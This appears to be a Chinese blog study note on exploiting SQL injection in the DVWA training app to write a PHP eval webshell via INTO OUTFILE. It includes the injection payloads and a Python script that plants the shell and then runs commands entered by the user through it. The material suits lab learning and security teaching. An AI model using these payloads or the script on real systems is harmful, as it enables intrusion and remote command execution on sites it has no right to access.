DVWA从注入到GETSHELL

Posted s1ye

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DVWA从注入到GETSHELL相关的知识,希望对你有一定的参考价值。

 

好好过你的生活,不要老是忙着告诉别人你在干嘛。

 

最近在复习学过的东西,自己就重新搭了个dvwa来学习新思路,写一些简单的脚本来练习写代码的能力。

众所周知SQL注入的危害是相当大的,对于每个老司机来说,如果发现注入点并可以利用的话,除了脱裤当然是猜解出管理员的用户名密码,后台登陆上传webshell了,虽然这些过程并不一定一路通顺,只是一般的流程,中途会遇到各种各样的问题,这些以后再说,当我这个菜比都学会了在分享出来吧。

今天我们说说利用sql注入漏洞写入webshell。当我们发现了注入漏洞,但是却找不到后台,该怎么办呢,如果数据库管理员权限比较大的话,我们可以通过sql注入向网站写入shell。

写入webshell的前提条件:

1.select into outfile方法可用(允许导出文件)

2.我们需要知道网站所在的绝对路径

3.我们有足够的权限

首先我们确定了注入点,接下来就是爆一下网站的绝对路径: 

在输入框中输入,1\' union select \'x\',\'x\' into outfile \'xx\' -- 利用错误的sql语句,使数据库报错并返回绝对路径

现在已经获得了网站的绝对路径,接下来就是利用sql注入写shell了,在输入框中插入 1\' union select "<?php @eval($_GET[\'cmd\'])?>","hello admin" into outfile \'C:\\\\phpStudy\\\\PHPTutorial\\\\WWW\\\\dvwa\\\\hello.php\' (需要注意,是两个"\\") 点击提交,我们看一下是否上传成功

 

 

当我们输入 select \'xx\' into outfile \'xxxx/xx/xx\' -- 时 可能会遇到一下情况:

解决办法:找到my.ini文件 在最后一行加上一句 secure_file_prv="/"重启mysql即可。

 ============================================================附上自己写的自动化辣鸡代码=========================================================================

# -*- utf-8 -*-
import requests
import re


headers = {
	
\'Accept\':\'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\',
\'Accept-Encoding\':\'gzip, deflate\',
\'Accept-Language\':\'zh-CN,zh;q=0.8\',
\'Cache-Control\':\'max-age=0\',
\'Connection\':\'keep-alive\',
\'Cookie\':\'security=low; PHPSESSID=pie6uqttjqtnadq1b5dp8640u1\',
\'Host\':\'192.168.86.129\',
\'Referer\':\'http://192.168.86.129/dvwa/security.php\',
\'Upgrade-Insecure-Requests\':\'1\',
\'User-Agent\':\'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\'

}

url = raw_input(\'url:\')
print \'=\'*15,u\'大爷稍等\',\'=\'*15
payload = \'%27+union+select+"<%3Fphp+%40eval%28%24_GET%5B%27cmd%27%5D%29%3F>"%2C"hello+admin"+into+outfile+%27C%3A%5C%5CphpStudy%5C%5CPHPTutorial%5C%5CWWW%5C%5Cdvwa%5C%5Chello.php%27+--+&Submit=Submit#\'
url1 = requests.get(url+payload,headers=headers)
url2 = \'http://192.168.86.129/dvwa/hello.php\'
url3 = requests.get(url2,headers=headers)
url4 = re.findall(\'<body>(.*?)</body>\',url3.text)
if \'hello\' in url3.text:
	print u\'webshell已写入,路径为:http://192.168.86.129/dvwa/hello.php\'
else:
	print u\'写入失败\'
print u\'大爷您请便!\'
url5 = \'http://192.168.86.129/dvwa/hello.php?cmd=\'
url6 = raw_input()
url7 = requests.get(url5+url6,headers=headers)
url8 = re.findall(\'<body>(.*?)</body>\',url7.content)

print url7.content

  

 

 以此记录自己学过的知识,以防忘记,每天进步一点,共勉。

以上是关于DVWA从注入到GETSHELL的主要内容,如果未能解决你的问题,请参考以下文章

从mysql注入到getshell

代码审计就该这么来3 beescms getshell

SQLite手工注入Getshell技巧

文件包含漏洞利用方式-日志注入getshell

DVWA--全等级文件上传(File Uplode)

DVWA SQL注入源代码审计